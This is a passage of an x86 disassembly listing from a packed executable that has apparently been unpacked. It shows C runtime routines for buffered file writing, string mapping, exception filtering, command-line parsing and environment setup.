		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	near ptr 269086Bh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 269086Bh
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2651132h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651132h
		nop
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28410A4h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2640000h


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
